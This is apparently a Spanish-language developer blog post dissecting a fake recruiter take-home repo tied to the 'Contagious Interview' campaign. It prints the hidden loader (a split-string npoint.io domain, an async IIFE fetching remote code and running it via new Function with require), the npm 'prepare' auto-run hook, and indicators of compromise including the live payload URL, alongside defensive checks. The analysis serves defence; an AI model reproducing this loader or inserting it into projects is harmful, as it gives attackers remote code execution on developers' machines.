Blog
Development·7 min read

Lo Intentaron de Nuevo: Disección de un Segundo Ataque de Malware con Oferta de Trabajo Falsa

Una semana después de la primera estafa cripto, otro reclutador me envió un repo de plataforma de alquiler con una backdoor de ejecución remota de código oculta a plena vista.

Jo Vinkenroye·March 2, 2026
Lo Intentaron de Nuevo: Disección de un Segundo Ataque de Malware con Oferta de Trabajo Falsa

Una semana. Eso es lo que tardó en aparecer el siguiente

Si leíste mi último post, sabes que casi caí en una prueba técnica de trabajo falsa que ocultaba malware en la Binance Smart Chain. Era una plataforma de póker con payloads alojados en la blockchain

Esta vez es una "plataforma de alquiler Copia" — una app de reserva de villas construida con React, Express y MongoDB. Diferente fachada, mismo juego

Y casi lo hicieron más difícil de detectar

La Propuesta

El mismo guion que la vez anterior. Un reclutador te contacta, el puesto suena bien, aquí tienes un repo para revisar como prueba técnica

El proyecto parece una app de alquiler MERN stack estándar. Villas, reservas, autenticación de usuarios, chat. Frontend React limpio con react-router, backend Express con autenticación JWT, Socket.io para mensajería en tiempo real

Copia-rental_platform/
├── src/
│ ├── components/ # Home, Villas, Contact, Navbar, Footer
│ ├── subComponents/ # HeroSection, Regions, TopVillas
│ ├── server/
│ │ ├── controllers/ # auth, product, seller, chat
│ │ ├── middleware/ # JWT socket auth
│ │ ├── models/ # User, Product, Chat
│ │ ├── routers/ # Express routes
│ │ └── utils/ # ...aquí es donde se pone raro
│ └── App.jsx
├── package.json
└── vite.config.js

A primera vista pasa la prueba del olfato. Componentes reales, flujo de autenticación real, operaciones CRUD reales

Señal de Alarma #1: El Directorio utils

El servidor tiene un directorio utils/ lleno de archivos que no tienen absolutamente nada que ver con alquilar villas:

src/server/utils/
├── actions/
│ ├── rarity_core_attributes.js
│ ├── rarity_extended_boars.js
│ ├── rarity_extended_crafting_helper.js
│ ├── rarity_extended_daycare.js
│ ├── rarity_extended_equipment.js
│ ├── rarity_extended_farming.js
│ ├── rarity_extended_name.js
│ ├── rarity_openmic_perform.js
│ ├── rarity_theForest.js
│ ├── vaults.js
│ └── utils.js
├── index.js
└── performBatchedUpdates.js

Todo esto está robado de Rarity Extended, un juego RPG en blockchain. Los archivos todavía tienen las cabeceras originales del autor con @Author: Rarity Extended y @Twitter: @RXtended

Una plataforma de alquiler no necesita apeInVault(), claimGold(), recruitAdventurer() ni lootDungeonTheCellar(). Este código existe únicamente para inflar el repo y hacer que parezca un proyecto más grande y legítimo

Señal de Alarma #2: El Historial de Git

El historial de commits cuenta la historia real:

61e64fb updated backend functions 4
5b66b14 updated backend functions 3
776cc7f deleted backend api connection
...
01f085f 0xdj28f8q2hfe
bc7d74c 0xkaf28fjdrafh
c2ff83a 0xioadq328fakfw
1a6db3e 0xi2fidkkfkw
8e1734a 0xdafk3afdufh2
...
7b2d903 Initial commit

Más de 40 commits con mensajes falsos de aspecto hexadecimal diseñados para parecer hashes de transacciones blockchain. Cuatro identidades de autor diferentes — smitrajput, rcstanciu, fadeev, passabilities — todos haciendo commits para simular que un equipo real construyó esto a lo largo del tiempo

Nadie nombra sus commits 0xmcr214a31be. Esto es teatro

Señal de Alarma #3: El Script prepare

Igual que la última vez:

{
"scripts": {
"start": "npm run server | vite",
"prepare": "node ./src/server/app.js | vite",
"server": "node ./src/server/app.js"
}
}

El hook de ciclo de vida prepare se ejecuta automáticamente con npm install. Inicia el servidor backend. El servidor carga los controllers. Y uno de esos controllers tiene una sorpresa esperando

La Carga Útil

Aquí está el malware, oculto en src/server/controllers/product.js entre funciones CRUD completamente normales:

const subDomain1 = "api.np";
const subDomain2 = "oint.io";
const domain2 = subDomain1 + subDomain2;
const uuid = "c237b2d383b98719acdc";

El dominio está dividido en dos cadenas. "api.np" + "oint.io" se ensambla como api.npoint.io — un servicio de alojamiento JSON. Si buscas con grep URLs sospechosas en el código, no encontrarás ninguna. Astuto

Luego enterrado entre getBidHistory y updateProduct:

(async () => {
const res = await axios.get(`https://${domain2}/${uuid}`);
new Function("require", res.data.model)(require);
})();

Una función async auto-invocada que descarga código del servidor remoto y lo ejecuta con new Function(), pasando require para acceso completo a Node.js

La misma técnica que la estafa del póker. El mismo patrón new Function("require", payload)(require). Diferente mecanismo de entrega — esta vez es una API JSON en lugar de un smart contract en blockchain

Comparando los Dos Ataques

La estafa del póker (semana 1) se disfrazó de plataforma de póker Web3. Alojaba su payload en un smart contract de Binance Smart Chain, activado por una llamada a configureCollection(). La ofuscación se basaba en nombres de funciones de apariencia normal, y el código de relleno eran eventos de ajedrez en una app de póker

La plataforma de alquiler (semana 2) se hace pasar por un sitio de reserva de villas. Aloja su payload en npoint.io, un servicio de API JSON. El disparador es una IIFE auto-invocada enterrada entre exports normales. La ofuscación usa cadenas de dominio divididas, y el código de relleno es un juego RPG blockchain metido en una app de alquiler

Lo que se mantiene igual: el hook prepare se ejecuta automáticamente al instalar. Ambos usan new Function("require", payload)(require) para ejecutar código descargado con acceso completo al sistema

La técnica central es idéntica. Descargar una cadena, ejecutarla como código, pasar require para darle acceso completo al sistema

El enfoque de npoint.io es en realidad menos sofisticado que la versión blockchain. Un endpoint JSON puede ser eliminado. Un smart contract es inmutable. Pero también es más rápido de configurar y más fácil de actualizar

Qué Hay de Diferente Esta Vez

La división de cadenas es nueva. En lugar de tener una URL completa en el código, dividen el dominio en múltiples variables. Esto derrota las búsquedas grep simples de dominios maliciosos conocidos

La ubicación también es más sutil. En la estafa del póker, el disparador del malware era una llamada a función independiente al final del arranque del servidor. Aquí es una IIFE anónima apretada entre dos funciones de exportación normales en un archivo de controller. Tendrías que leer cada línea para detectarlo

Y el código de relleno es más inteligente. La última vez tenían eventos de ajedrez en un juego de póker. Esta vez el código robado de Rarity Extended al menos se relaciona con crypto/Web3, lo cual es marginalmente más plausible en el contexto de un proyecto Node.js

El Patrón

Esta es la campaña Contagious Interview. Atribuida al Lazarus Group de Corea del Norte. Se dirigen a desarrolladores — especialmente los de crypto — a través de ofertas de trabajo falsas

La fórmula:

  1. Un reclutador falso te contacta con una buena oportunidad
  2. Un proceso de entrevista profesional genera confianza
  3. Una prueba técnica para hacer en casa se entrega como repo de GitHub
  4. npm install activa la carga útil
  5. Tu máquina está comprometida

Dos intentos en una semana me dice que están escalando. O estoy en una lista ahora, o la red se está ampliando

Qué Hacer

Si recibes una prueba técnica de un reclutador:

  1. Lee los scripts de package.json antes que nada — prepare, preinstall, postinstall son hooks que se ejecutan automáticamente
  2. Busca new Function, eval, Function( en todo el código
  3. Busca concatenación de cadenas que construyan URLs o nombres de dominio
  4. Verifica si los directorios utils o lib realmente corresponden al propósito del proyecto
  5. Revisa el historial de git — commits hex falsos y múltiples autores en un proyecto pequeño son señales de alarma
  6. Ejecútalo en un contenedor Docker o VM si es que lo ejecutas

Si ya ejecutaste npm install en un repo sospechoso:

  • Asume que estás comprometido. Rota todas las credenciales, busca procesos desconocidos, escanea extensiones del navegador
  • Mueve las criptomonedas de cualquier wallet que fuera accesible desde esa máquina
  • Revisa ~/.ssh/, ~/.aws/, perfiles del navegador en busca de señales de exfiltración

Indicators of Compromise

Para quienes investigan amenazas:

  • URL de carga útil: https://api.npoint.io/c237b2d383b98719acdc
  • Técnica: División de cadenas para ensamblar el dominio ("api.np" + "oint.io")
  • Ejecución: new Function("require", res.data.model)(require)
  • Autor git: smitrajput <smitrajputtd@gmail.com>

Reflexión Final

Dos veces en una semana. La misma técnica, diferente envoltorio

La primera casi me atrapa porque no la esperaba. Esta no lo hizo porque ahora audito cada prueba técnica antes de tocarla. Esa paranoia me salvó

Si estás buscando trabajo como desarrollador ahora mismo, especialmente en crypto o Web3 — tus habilidades de revisión de código necesitan empezar con la prueba misma. Antes de escribir una sola línea de código, lee el de ellos

El reclutador podría ser falso. La empresa podría ser falsa. Pero el malware es muy real

Stay Updated

Get notified about new posts on automation, productivity tips, indie hacking, and web3.

No spam, ever. Unsubscribe anytime.

Comments

Related Posts